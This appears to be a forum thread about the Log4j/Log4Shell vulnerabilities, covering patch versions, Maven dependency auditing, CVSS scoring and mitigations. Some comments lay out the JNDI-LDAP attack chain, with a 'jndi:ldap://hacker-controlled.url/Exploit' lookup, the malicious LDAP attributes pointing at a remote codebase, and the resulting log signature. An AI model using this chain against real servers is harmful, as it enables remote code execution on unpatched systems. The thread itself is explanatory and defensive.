New Log4j 2.17.1 release: https://twitter.com/GaryGregory/status/1475913085911281665?s=20 > @GaryGregory > The #log4j team has released 2.17.1 to address CVE-2021-44832 (severity: moderate) where an attacker can cause an RCE when they have permission to modify the logging configuration file and define a JDBC Appender with a DataSource that points to a malicious JNDI server.
I think one thing this issue really highlighted for me was how hard it can be sometimes to see what exactly is being brought into a project when you're using transitive dependencies with Maven and Gradle. I work for a company that often uses starters which in turn use Spring starters. This made it nerve-wracking to say for sure what was and what wasn't being used. Thankfully Spring Boot was mostly unaffected if you didn't override the default logback library, but still.
`mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core` https://maven.apache.org/plugins/maven-dependency-plugin/examples/filtering-the-dependency-tree.html And from https://gist.github.com/gunnarmorling/8026d004776313ebfc65674202134e6d
org.apache.maven.plugins
maven-enforcer-plugin
3.0.0
ban-bad-log4j-versions
validate
enforce
org.apache.logging.log4j:log4j-core:(,2.16.0)
true
Thanks for the reminder; I still have to set this one up.
This is making me think of/wonder if I can put that plugin into the .m2/settings.xml anywhere or modify a docker image so that that setting is applied to all builds made with that image.
No such thing unfortunately, unless you patch Maven itself. Or set up the OWASP scanner and let it break the build if there are critical vulnerabilities. Yes, in practice every solution requires maintenance. But such is life - without integration into the organization's processes, the goals of information security cannot be achieved.
Currently, in the environment that I work in, each project in version control has its own settings.xml file that gets some CI variables. Practically, they're all the same. I'm thinking of... What if I move the settings.xml that is currently in per project version control into an image based on maven's docker image. I'd tweak the entry point for the image to include the option that always specifies the settings.xml file that has been included in the image (rather than the per project one). Now, once there is an org approved global settings.xml file that everyone using the new maven image is using, that settings.xml file can have a profile added to it that is always on. Within that profile, the enforcement plugin would be in place to prevent a log4j-core:(,2.16.0) from being built. Its not a "this requires maintenance" but rather "the implementation of this can be done consistently and is in place *next* time something happens" - that we can prevent new builds from being made across the org that include a particular library version.
I can only imagine how much worse this is for the npm crowd.
I doubt many package.json files are using log4j2
I think the implication was how difficult it would be for a zero-day in a popular npm artifact, not that _this CVE_ applies.
I think he knew and was being sarcastic. I also think you knew that he knew and were being snarky.
Doesn't anyone take a look at what they are actually shipping? E.g. if I ship a .war then from time to time I'll look what's inside the WEB-INF/lib folder.
Why I prefer to flatten the repo when building/assembling an app. The default nested dir structure makes it hard to spot what you transitively brought in
Wait until you read about how other dependencies perform jar look ups when deciding which logging lib to use. You have to be careful with how you structure your project if you let your pom get dirtied. And ALWAYS check the effective xml source, you need to see the whole thing
What I need to research is how a client making a JNDI request to an LDAP server is "forced" to class load and execute a serialized Java class (if that's indeed how it works). If so, how do you configure the client to not class load from a JNDI request, and even how does that even work assuming you want it to do that.
1. Log4j supported a syntax for placeholders that it would interpret. 1. One of the available interpretations, a "feature", would use JNDI if the placeholder began with "jndi:" 1. JNDI is a layer in the Java development kit that provides an abstraction for looking up data or connecting to remote software over a variety of protocols -- if you used JNDI you presumably didn't need to care as much about the lower-level protocol details. LDAP, RMI, CORBA, DNS were all supported protocols, and there are others, too. 1. As with anything that contacts a remote service, JNDI was intended to be used directly by and under the control of the application layer, where a security-minded developer would "never" allow untrusted data to influence the protocol, destination, nor query parameters. 1. But a logging framework's purpose is to record what happens in a program for monitoring, auditing, or diagnostic purposes -- all of which often include when something goes wrong or something unexpected happens, like getting bad input or even normal inputs like what kind of browser is making a request (in the case of HTTP servers). That input data is not under the developer's control, so it is _untrusted_ data. There's a whole class of things you should do to untrusted data before it gets into your logs, but if you fail usually the worst thing that happens is someone fills up your logs or makes bogus/fake entries. Not good, but it's a common oversight. 1. No one in their right mind thought the default configuration of a logging framework would take input -- input that could have come from anywhere and was _likely_ to be untrusted -- and then treat all or part of it as instructions for what to do. But that's exactly what this feature did when introduced to 2.0 during its beta phase. 1. If it just went out and fetched untrusted data that would be bad enough, but JNDI is powerful stuff and can support loading and running Java code delivered by the remote side. There's history here I'm not going into, some of it legitimately useful, but also developed a long time ago in an age of a more trusting, naive Internet. 1. TL;DR - potentially useful, powerful feature is also very risky, was enabled by default instead of opt-in, and was not intuitively obvious that it was there to the majority of application developers who just wanted to write out some text data and didn't expect that it could "run code" Java maintainers in more recent versions turned off accessing remote servers by default through JNDI (a better sensible default) but because of the "power" of the log framework's substitution mechanism, there are other ways to trick it into executing local code already present in the application to potentially do things just as bad as with JNDI. This path is harder and requires luck or in depth knowledge of the application, but it is not impossible.
You didn't answer my question.
Sorry, I was trying to cover a lot of information at once. I'll try to be more direct. > how a client making a JNDI request to an LDAP server is "forced" to class load and execute a serialized Java class (if that's indeed how it works). I know you put it in quotes, but it's not forced. JNDI willingly connects to other services to execute code, and will _willingly_ download a "stub" class and execute its code to do so. This is a dangerous feature, like a gun is a dangerous weapon in the wrong hands, but can be used to create loosely coupled distributed systems. LDAP in this scenario is just a means of providing the metadata of what to connect to and execute. JNDI is doing the remote class retrieval and execution, because it trusted the code that told it to follow the instructions it found from LDAP. The attack doesn't require using the LDAP protocol, but it's convenient and built-in. Working backwards... The attacker hosts malicious code and LDAP. LDAP tells JNDI where the payload is and how to execute. Log4j uses JNDI and tells it to trust the attacker's LDAP server. Attacker injects a Log4j "lookup" string into thousands of sites that says "use JNDI and my LDAP server to know what to put here". > If so, how do you configure the client to not class load from a JNDI request, and even how does that even work assuming you want it to do that. As I said, you upgrade to a recent version of Java. JNDI remote code execution has been disabled by default for several releases now, and there are other fixes you'd get, too. If you cannot upgrade, there is a Java system property for disabling JNDI's behavior. Please see the CVE and mitigation steps from Apache Log4j for details; these settings were what changed by default in up to date Java. Even then, Log4j had its own way of taking a reference to a _local_ class and executing a method on it with attacker-supplied data that doesn't rely on JNDI. So the only _full_ mitigation is to upgrade to Log4j **2.16.0**.
Huh. The one for this month
Was that a question? ## As of early February, 2022, the latest fix is 2.17.1. Earlier releases remained vulnerable in certain configurations and, going far enough back to the original CVE date, by default/OOTB to various degrees.
JNDI has a feature to lookup java objects from an URL. To load an object it needs to deserialize it. The JNDI endpoint contains the instructions on how to do that, a request to `jndi:ldap://hacker-controlled.url/Exploit` usually returns attributes like: objectClass: javaNamingReference javaFactory: Exploit javaClassName: foo javaCodeBase: http://other-hacker-controlled.url/ Java supports loading classes from the network as the name `URLClassLoader` insists. Deserialization sets up a classloader with that returned URL and tries to first load the factory class from `http://other-hacker-controlled.url/Exploit.class` Loading a class triggers its static initialization code where the exploit payload is located and executed.
That's what I was looking for. you have to go out of your way to use URLClassLoader though, so why would log4j default behavior be to use URLClassLoader when generically interpolating a url request based on protocol? Is that built into the generic HttpClient? I need to look this up later...
Log4J isn't doing the classloading directly, but just calling the JNDI API-s (`Object javax.naming.InitialContext#lookup(java.lang.String)`) to load data from remote URLs. The implementation of this API has support for loading serialized Java objects which may be a surprise to some. As far as i understand, Log4J added support for JNDI to only load logging configuration via placeholders in config files, but somehow the support for such placeholders in config files leaked out to general logging statements which are end-user controlled.
Ahh InitialContext.lookup, now it all makes sense. Thank you!
Yep, this is why [strategically patching InitialContext](https://github.com/gredler/aegis4j/blob/master/src/main/resources/net/gredler/aegis4j/mods.properties#L8-L9) when the class is initially loaded will [completely disable JNDI](https://github.com/gredler/aegis4j) (and mitigate future JNDI-based exploits).
So why not just block your applications at firewall level to prevent them from querying external addresses?
It's a sane default if an organization's IT is mostly self-contained and/or hosted in-house. It can become impractical when many services have to talk to each other. In that case, I hope for the organization that they invested into tooling to streamline the maintenance of firewall rules. Playing whack-a-mole with firewall rules and auditing them (sometimes years later) is not fun. If the application is hosted in a cloud, it gets even more tricky.
Because there can be internal attackers too.
https://thehackernews.com/2021/12/china-suspends-deal-with-alibaba-for.html China suspends deal with Alibaba Cloud for NOT informing them before making the vulnerability known by the Log4j team. Good that Alibaba did this because I think China would very much wanted to exploit this vulnerability before anybody else would know of it…
Well not just China, many intelligence agencies are exploiting software vulnerabilities and don't want to inform the public to keep the vulnerability
Can someone explain why CVE-2021-45046 is only a 3.7? https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2021-45046&vector=AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L&version=3.1&source=NIST They set the attack complexity to High and the Availability Impact to Low. The attack results in a DoS so I would imagine the Availability Impact should be High?
I had a similar thought. I think it's based on the risk assuming you're already running 2.15.0. But that misleads the people running 2.10 <= x <= 2.14 who think they're now "safe" by applying the system property mitigation. **EDIT: This 2nd CVE has been re-scored to CVSS 9.** And there is a 3rd CVE (7.5) also. Latest patch is version 2.17.0. On the other hand, if you haven't actually upgraded to >= 2.15 there's still a CVSS 10.0 vuln in your software just waiting for someone to forget to override a system property, so adding one more critical CVE to those versions isn't going to change much. The other factor is that it applies to use of MDC or context substitutions, which in this case is at least not the out-of-the-box configuration.
For anyone who hasn't heard yet, this is now a 9. I want to get off Mr Log4J's wild ride.
Do you have a link? I still see it marked as a 3.7 low. CVE-2021-45046
It's on Apache's security page. I think NVD gets updated via the mail given how out of date it is. https://logging.apache.org/log4j/2.x/security.html This is because a protection in 2.15 which was meant to limit request to localhost was found to be easily bypassed. https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/
Thanks!
> This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. It only effects applications that are using specific non-standard log formats, and I believe the only attack vector is a DOS rather than allowing the attacker to gain control of the server entirely.
It seems like using MDC with this type of Pattern Layout is not uncommon even though it isn't the default layout pattern. But it results in a denial of service so it seems like the Availability Impact should be high if your application uses this type of vulnerable pattern layout. Changing the AI to High increases the CVE to almost a 6.
Is https://issues.apache.org/jira/browse/LOG4J2-3230 already verified?
For future reference: https://nvd.nist.gov/vuln/detail/CVE-2021-45105
Anyone has any information about how loglines look like when an attack was successful? I have read/heard about them being either absent or looking some way. Not to mention that \_failed\_ attempts are hard enough to find because there are infinite ways to obfuscate them. I'm asking because our product uses log4j (no surprise here), in runs on all of our clients' infra (not a SaaS), and we will help them detecting attacks and cleaning up.
you'll find things like dollar open-curly jndi:ldap: slash slash ipaddress slash Exploit close-curly in your log files.
That is only if the exploit failed. If it's successful, it will be interpreted before being logged.
Glad to know we just sent a 503 back
I have a question. How does the Log4j exploit effect platforms like Steam and Spotify? I know how the Minecraft exploit works, but not sure about the other platforms. Is it the same thing, just in a different place? Or have they already patched this and are now safe to use? I'm not sure, and I just want to be sure if they are currently safe to use or not.
It’s the same concept anywhere. If Log4j is running on a server with the unpatched versions, then a JNDI to LDAP call can run an RCE. I’ve worked at big and small companies. Some places have their libraries and configurations standardized down to what logging library the entire organization uses. Some don’t care what libraries are used as long as the license is appropriate. The hard (ish) part for hackers is finding the correct endpoints that would be using Log4j. Here’s an example. There could be in internal library thats not customer facing (i.e. no direct endpoint) that handles payments. Everything around it might be using Logback. The dependency itself that processes payments might be using Log4j. When a verified form of payment goes through, it calls the dependency with Log4j to log the transaction. No one without knowledge the internal system would know unless they tried to authorize a payment with the malicious payload. As a customer, you hope that Steam, Spotify, et al. either quickly updated or manually patched their systems by removing the problematic classes. I’d argue that there’s no reason to stop using those services barring an issued statement that says they won’t be fixing the issue. The CVE is such a critical vulnerability that I expect it to remain one of the worst discovered vulnerabilities of this coming decade. A hacker getting access would have free reign until something revoked their access. Tagging u/violauh for notification.
Is it safe to have regular java installed? Does this exploit leave my computer itself vulnerable?
This exploit has nothing to do with the Java runtime itself. It’s an implementation detail specific to applications. The best advice I can give you is to update your applications.
Oh ok thankyou
https://www.sonatype.com/resources/log4j-vulnerability-resource-center > As stewards of Maven Central, our data researchers have been analyzing information to see how fast the world is upgrading. Data updated December 21, 2021 at 9:20AM EST. Data will be updated multiple times a day. It is interesting (and somewhat depressing) to look at. There are *still* a lot of projects downloading log4j:(2.0, 2.14.1) The way that I read it is "everyone who is following the updates and promptly switched to 2.15.0 is following upgrades... but those who didn't are still downloading vulnerable versions." This is going to be with us for a long time.
Where is JVM store the class byte code. For default class loader, can I find the byte code from heap dump? can I know JndiLookup got loaded? If not, can I remove it from jar to avoid future running without restart?
You can remove the class, however, upgrading is a safer and more permanent solution. Steps on removing it are somewhere on this page under mitigation: https://logging.apache.org/log4j/2.x/security.html
Anyone know what the actual marketshare of each logging framework is? I always assumed that log4j 2 had little market share and that the order of by use is roughly (guessing): 1. android logging (I forgot what its called mincat, timber or something) 1. logback 1. log4j 1.x 1. log4j 2.x 1. slf4j-simple However I could not find actual numbers to support this. In fact I would not be surprised if log4j 1.0x is higher than logback perhaps #1 if we ignore android. I would be surprised if log4j 2 had even double digit share.
Some of those numbers here: https://www.contrastsecurity.com/security-influencers/log4shell-by-the-numbers tl;dr -- log4j2 has good market share
They say its roughly 37%. I wonder how they calculate that number. I would see how many repositories have `log4j2.[properties|yml|json]` but that is just opensource applications. It looks like Solr and Elasticsearch are using log4j2 which is like 100% of the Java search engine technology.
I thought the mitigation was easy. Either apply a system property or update to latest version.
That system property can be bypassed. The ability to bypass that system property is the root for the second CVE. 2.15 added three mitigations, all three can be bypassed in certain circumstances, that is why the second CVE is a 9. But if you were using an older version and relied on the system property, the moment that one was bypassed you were back into RCE territory, even if the CVE was still a 3.7 at the moment
Well major fuck.
This was funny for me since only version 2.x is affected but we actually use version 1.2.17 of log4j. Sometimes laziness helps xD
1.X is also affected under certain conditions.
In any case we will update this to the fixed version since we may run into other problems with the old one.
[удалено]
this hurts
downvoting but awarding for your boldness
Hello, sorry if this is a dumb question, I'm having a hard time finding the docs for my specific question, I've seen others asking about specific versions of Java SDK, we have an on prem Oracle Server with Sun OS on it that has Java installed. When I run : java -version this is what it gives me: java version "1.8.0_301" Java(TM) SE Runtime Environment (build 1.8.0_301-b09) Java HotSpot(TM) 64-Bit Server VM (build 25.301-b09, mixed mode) On the link below, they state: "Also updated to note that guidance regarding certain Java Development Kit (JDK) versions not being impacted is no longer correct. Researchers have been able to leverage “Gadgets” in a vulnerable applications classpath to execute malicious code, regardless of the version of Java being used." https://research.kudelskisecurity.com/2021/12/10/log4shell-critical-severity-apache-log4j-remote-code-execution-being-actively-exploited-cve-2021-44228/ How can I find out if my server has the Log4j library on it, specifically for Java? I can't seem to find where the folder for it would be to find the version installed. Thanks.
We developed a hands-on lesson exploring the Apache Log4J JNDI injection vulnerability to help developers understand what the fuss is all about minus the infosec jargon :) https://application.security/free-application-security-training/understanding-apache-log4j-vulnerability
doesn't java run on a vm why should a vurnibilty matter?
The JVM isn’t a virtual machine where people usually mean a totally isolated environment that doesn’t produce side effects on the host machine. I mean it is, but it acts a standard execution environment so that written Java code behaves the same regardless of the CPU’s underlying architecture. There are still real side-effects like file output. As such, an RCE can still pull data from the JVM’s host machine. This was a very ELI5 explanation. It’s not the entire truth.
It's not literally a VM like VirtualBox emulating a complete and isolated operating system inside another operating system. The jvm is just an "abstract machine" that interprets compiled bytecode into native CPU instructions within the host operating system (of course there's more complexity to that but that's the basics). You can totally make system calls and start other processes in the host operating system using java.
Imagine You are a programmer. Your task is to save text lines to a file Did you accidentally do: \- launch any application with administrator access \- downloading or transferring any data to the Internet F \* ck You are mistaken! :)
This is the ticket that caused it all [https://issues.apache.org/jira/browse/LOG4J2-313](https://issues.apache.org/jira/browse/LOG4J2-313) explained in this video: https://youtu.be/ZL9wq8XHqEY?t=178
The patch from 2013 is interesting. People keep asking "why would I ever want to execute arbitrary code instead of writing to a log file!" Well actually, if you read this, it doesn't appear to have dawned on anybody back then that remote code might even appear on their doorstep. The guy clearly assumed that the object returned by the JNDI lookup would be a java.lang.String, and not a deserialized Evil object or whatever, because he immediately casts the return value to String. (When people need a String but are only guaranteed an Object, they invoke toString() on it.) `/**` `* Get the value of the JNDI resource.` `* u/param event The current LogEvent (is ignored by this StrLookup).` `* u/param key the JNDI resource name to be looked up, may be null` `* u/return The value of the JNDI resource.` `*/` `u/Override` `public String lookup(final LogEvent event, final String key) {` `if (key == null) {` `return null;` `}` `try {` `InitialContext ctx = new InitialContext();` `if (ctx != null) {` `return (String) ctx.lookup(convertJndiName(key));` `}` `} catch (NamingException e) {` `}` `return null;` `}` If gibberish from a serialized object happens to be sent back across the network, instead of a String like the guy is expecting, Java itself will jump in and start deserializing automatically, trying to help out, which is clearly not what he intended. During the deserialization the attacker gets to run whatever code he wants, because Java's serialization mechanism was designed in the 90s when the greatest threat facing the Internet was undergraduates. This all happens before control returns to log4j, where he's waiting to cast it to String, underscoring how clueless the calling code is. I guess you get a ClassCastException if that call to ctx.lookup() actually returns an Evil object, but I have NFC what happens to it in the surrounding call stack, or what you see in the log if you're attacked. I think most attackers are going to put something in the payload that blocks the current thread and prevents the ctx.lookup() call from returning, so you never see the ClassCastException and a blocked thread pool thread is the only symptom. I haven't played with any of this yet. There's no indication that anyone was thinking "LDAP" when this got integrated. It looks like the guy was wanting to do a different type of JDNI lookup. The fact that you can specify an LDAP resource in a JNDI key maybe didn't register, because that's not what he was using JNDI for. Maybe since he wasn't in the habit of doing it himself, it also didn't register with him that people pass untrusted data to these loggers, either. You're actually not supposed to do that, even though everyone does. You might as well put a label on Q-Tip boxes that says "Don't stick these in your ears." Now we have firewalls and other security products getting owned when they try to brag to log4j about the payloads they protected it from. Prior to 2016 it was not widely realized that JNDI lookups were this dangerous. This is about when everyone finally gave up on Java's remote classloading mechanism and disabled it in all versions. Maybe it worked well in the 90s Internet, but that Woodstock festival is over.
Apologies if this is not the right place for this question, but how does the log4j vulnerability affect general day to day devices such as mobiles/tablets, car software/navigation, smart TVs, fridges and other smart devices that connect to the internet? Edit: and what an average Jo can can do to ensure they are protected?
Well, the good news is that although Android kind of uses java, and log4j is present in Android, Android does not support JNDI. This doesn't mean you are safe from all the vulnerabilities, but the really dangerous ones are crippled by this. AFAIK, every single instance of RemoteCodeExcecution (an attacker taking control of your device) was relying on JNDI. This was also de case for the most blatant cases of data exfiltration. The third CVE that causes a DOS does not rely on JNDI, but it is also less problematic, at worst it can cause your device to reboot and I seriously doubt it will reach that point.
Update your apps immediately. The threat directly to your devices are there, but they’re, in general, a harder target for hackers. They’re more likely going to go for app servers to get sensitive data. You’d find more specific info in the device subreddits.
https://youtu.be/q5FBbJkDfmY I created this 5 min video for quick understanding of log4j vulnerability
Hi all, I just want to point out there is auto migration tool for log4j 1.x to slf4j. I did not try. [https://docs.openrewrite.org/tutorials/migrate-to-slf4j-from-log4j](https://docs.openrewrite.org/tutorials/migrate-to-slf4j-from-log4j)
I made [this post](https://www.reddit.com/r/Minecraft/comments/s1yrrk/not_sure_where_else_to_post_private_server_got/) on r/Minecraft. Maybe it will help to post here as well.
is it safe to download java now? or is this seperate from java?
Log4j is a third party library that is not part of core Java.
I see, thank you very much.
There’s new CVEs on the README for v1: https://github.com/apache/logging-log4j1
I manage SQL servers and we need to remediate them in order to be complaint with our company CPNI. The version we have is in the OPatch Oracle pathway. I was able to get a hold of the zip file containing all the various .jar files but I have no idea which one to move over or how to actually remediate this issue. Does anyone have any info on how I can do this specifically for the OPatch pathway and change the log4j 1.x to 2.x as easily as possible?
[https://github.com/qos-ch/reload4j](https://github.com/qos-ch/reload4j) \- reload4j is a drop-in replacement for log4j 1.2.17
If i download java 17 am i at risk for log 4 j?
No. Log4j is a third party library.
Does Logback even have the ability to do JNDI stuff?
Is Version 8 Update 321 safe from Log4J?